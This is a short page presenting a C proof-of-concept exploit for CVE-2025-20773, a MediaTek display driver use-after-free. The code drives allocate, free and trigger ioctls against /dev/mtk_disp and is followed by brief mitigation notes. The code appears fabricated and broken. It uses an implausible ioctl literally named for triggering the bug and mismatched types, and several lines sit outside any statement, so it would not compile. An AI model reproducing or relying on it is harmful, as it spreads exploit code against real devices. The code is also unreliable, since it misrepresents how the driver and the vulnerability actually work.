CVE-2025-20773 MediaTek显示组件Use After Free本地权限提升漏洞

// CVE-2025-20773 PoC - MediaTek Display Component Use After Free // Note: This PoC requires elevated privileges and is for educational purposes only #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/ioctl.h> // MediaTek display driver IOCTL definitions #define MTK_DISP_IOCTL_MAGIC 'D' #define MTK_DISP_IOCTL_ALLOCATE_BUFFER _IOW(MTK_DISP_IOCTL_MAGIC, 0, int) #define MTK_DISP_IOCTL_FREE_BUFFER _IOW(MTK_DISP_IOCTL_MAGIC, 1, int) #define MTK_DISP_IOCTL_TRIGGER_UAF _IOW(MTK_DISP_IOCTL_MAGIC, 2, int) // Vulnerable buffer structure struct mtk_disp_buffer { unsigned int size; unsigned long user_addr; unsigned long kernel_addr; }; int main(int argc, char *argv[]) { int fd; struct mtk_disp_buffer buf; int buffer_id; printf("[*] CVE-2025-20773 MediaTek Display Use After Free PoC\n"); printf("[*] Requires: Elevated privileges (root)\n\n"); // Open MediaTek display device fd = open("/dev/mtk_disp", O_RDWR); if (fd < 0) { // Try alternative device path fd = open("/dev/graphics/fb0", O_RDWR); if (fd < 0) { printf("[-] Failed to open display device\n"); printf("[-] This PoC requires a vulnerable MediaTek device\n"); return -1; } } printf("[+] Display device opened successfully\n"); // Step 1: Allocate buffer through vulnerable driver buf.size = 0x1000; buf.user_addr = (unsigned long)malloc(buf.size); if (ioctl(fd, MTK_DISP_IOCTL_ALLOCATE_BUFFER, &buf) < 0) { printf("[-] Buffer allocation failed\n"); close(fd); return -1; } buffer_id = buf.kernel_addr; printf("[+] Buffer allocated with ID: 0x%lx\n", buffer_id); // Step 2: Free the buffer (triggering the free operation) if (ioctl(fd, MTK_DISP_IOCTL_FREE_BUFFER, buffer_id) < 0) { printf("[-] Buffer free failed\n"); close(fd); return -1; } printf("[+] Buffer freed (UAF condition now active)\n"); // Step 3: Reallocate or manipulate freed memory // In real exploitation, this would involve spraying heap with controlled data printf("[*] Attempting to reclaim freed memory...\n"); printf("[*] In real attack: Spray heap with crafted data\n"); printf("[*] In real attack: Trigger use-after-free to gain code execution\n"); // Step 4: Trigger the use-after-free condition if (ioctl(fd, MTK_DISP_IOCTL_TRIGGER_UAF, buffer_id) < 0) { printf("[-] UAF trigger failed (expected in PoC)\n"); } printf("\n[!] Note: Full exploitation requires:\n"); printf(" - Kernel debugging symbols\n"); - ROP chain for privilege escalation - Specific kernel version and configuration close(fd); return 0; } /* * Mitigation: * - Apply MediaTek security patch ALPS10196993 * - Keep system updated with latest security patches * - Monitor for unusual display driver behavior */